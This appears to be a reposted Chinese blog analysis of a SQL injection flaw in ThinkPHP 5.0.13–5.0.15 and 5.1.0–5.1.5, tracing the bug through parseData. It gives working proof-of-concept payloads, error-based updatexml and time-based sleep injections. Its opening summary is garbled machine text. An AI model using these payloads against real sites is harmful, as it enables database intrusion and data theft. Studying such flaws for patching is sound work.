Thinkphp5 sql注入分析

摘要:
受Thinkphp5sql注入影响的版本:5.0.13˂=ThinkPaHP˂=5.0.15,5.1.0˂=ThinkPaHPget;db-˃insert;$username=request()-˃get;db-˃where-˃update;或$username=$_ GET['username'];db-˃insert;$用户名=$_ GET['username'];db-˃where-˃update;等等,还有注射。第二种类型的有效负载比第一种类型注入了更多的$val[0]作为exp,因为第一种类型在请求类中使用get()方法,而get()调用filterExp(),这将在exp之后添加一个空格,因此它不能匹配exp的情况。因此,第二种有效负载比第一种类型注入更多的$val[0]作为exp。POC:s=index/index/sql&username[0]=inc&username[1]=updatexml&username[2]=233或s=index/index/sql&username[0]=exp&username[1]=updatexml&username[2]=233如果app_如果未启用调试,则可以使用插入和更新时间盲注入更新:username[0]=exp&用户名[1]=%271%27%20if%23&username[2]=233insert:?

Thinkphp5 sql注入

影响版本:

5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。

0x01漏洞触发点:

导致这个漏洞的函数为Builder类的parseData函数

image

这个函数的前半段主要作用为获取数据表的字段,然后进入一个循环,我们重点看第二个elseif处

image

这里有三个switch的case,我们可以看到如果$val[0]为exp时,$val[1]会直接拼接到$result中,其余两种情况则是会经过parseKey()处理之后再拼接上去,我们跟进parseKey()

image

parseKey()直接返回了$key,那么其实和第一种情况一样,也是直接将$val[1]拼接到了$result中,此时我们知道,如果$val可控,则$result的值可控。

知道了上述情况后,我们在Builder类里搜索一下,看有什么函数用到了parseData(),经过搜索得出,insert()和update()用到了parseData()

image

image

我们可以看到,insert()和update()都是将$data传入parseData()后直接将结果替换到先前定义好的sql语句中,然后直接返回

image

我们再在Query类中搜索看看有哪个函数用到了insert()和update(),经过搜索发现,Query类的insert()和update()用了这两个函数

image

image

我们可以看到,$data传入后经过array_merge()拼接后直接传入了Builder类的insert()中,上面我们分析过,insert()返回的结果我们是可控的,$options['fetch_sql']值也为空,所以最后sql语句会直接执行,造成注入。同理,update()也会将sql语句直接执行,所以update()也存在注入。

0x02漏洞利用

如果方法的写法为

$username = request()->get('username/a');
db('admin')->insert(['username' => $username]);   

$username = request()->get('username/a');
db('admin')->where("id")->update(['username' => $username]);

$username = $_GET['username'];
db('admin')->insert(['username' => $username]);  

$username = $_GET['username'];
db('admin')->where("id")->update(['username' => $username]);

等,则存在注入。第二种的payload比第一种多了$val[0]为exp的注入,因为第一种使用了request类中的get()方法,而get()中调用了filterExp(),会在exp后添加空格,这样就匹配不到case为exp的情况,所以第二种的payload比第一种多了$val[0]为exp的注入。

POC:

s=index/index/sql&username[0]=inc&username[1]=updatexml(1,concat('~',user(),'~'),1)&username[2]=233

image

s=index/index/sql&username[0]=exp&username[1]=updatexml(1,concat('~',user(),'~'),1)&username[2]=233

image

如果app_debug没有开的话,可以使用insert和update时间盲注

update:

username[0]=exp&username[1]=%271%27%20and%20if((select%20length(database()))<5,sleep(5),sleep(3))%23&username[2]=233

insert:

?username[0]=exp&username[1]=%271%27%20and%20if((select%20length(database()))<5,sleep(3),sleep(2)))%23&username[2]=233

免责声明:文章转载自《Thinkphp5 sql注入分析》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇四种Sandcastle方法生成c#.net帮助类帮助文档Spring Cache的基本使用与分析下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

[python 基础]python装饰器(一)添加functools获取原函数信息以及functools.partial分析

python装饰器学习的时候有两点需要注意一下 1,被装饰器装饰的函数取其func.__name__和func.func_doc的时候得到的不是被修饰函数的相关信息而是装饰器wrapper函数的docstring和名字 对此我们使用functools这个模块添加一行函数即可 @functools.wraps(f)def check_id_admin(f...

vista英文版语言包安装

最近,需要给老外截英文vista的一些图,但是系统装的是中文版系统,不想重装系统,于是一想,是不是有语言包,一搜索,果然有。 经过试验: 我的环境是windows vista 旗舰版 下载英文语言包: http://www.download.windowsupdate.com/msdownload/update/v3-19990518/cabpool/lp...

mysql 有就更新 没有就插入

数据持久化的过程中,有时会遇到这样的需求: 当数据库表中存在符合某种条件的数据时,需要去更新它,不存在时,则需要新增,也就是insertOrUpdate操作,本文主要讲解MySQL中的INSERT ... ON DUPLICATE KEY UPDATE语句,该语句是基于唯一索引或主键使用,比如一张表中含有a,b,c三个字段,字段a被加上了unique in...

为什么说 LINQ 要胜过 SQL

如果你还没有沉溺于 LINQ,就会想这有啥大惊小怪的。SQL 并没有坏掉,为什么还要对它进行修补呢? 为什么我们还需要另外一种查询语言呢? 流行的说法是 LINQ 同 C#(或者 VB)集成在了一起,故而消除了编程语言和数据库之间配合上的鸿沟,同时为多个数据源的组合提供了单一的查询接口。虽然这些都是事实,但仅是故事的一部分。更重要的是:当要对数据库进行...

Mysql批量更新的一个坑-&amp;amp;allowMultiQueries=true允许批量更新

前言        实际上,我们经常会遇到这样的需求,那就是利用Mybatis批量更新或者批量插入,但是,实际上即使Mybatis完美支持你的sql,你也得看看你说操作的数据库是否支持,而阿福,最近就遇到这样的一个坑。 问题        先带大家来看一段sql的配置, <update id="updateAllAvailable"> <...

SpringBoot 数据篇之使用JDBC

SpringBootTutorial :: Data :: Jdbc 简介 API execute update query 实战 配置数据源 完整示例 引申和引用 简介 Spring Data 包含对 JDBC 的存储库支持,并将自动为 CrudRepository 上的方法生成 SQL。对于更高级的查询,提供了 @Query 注解。 当...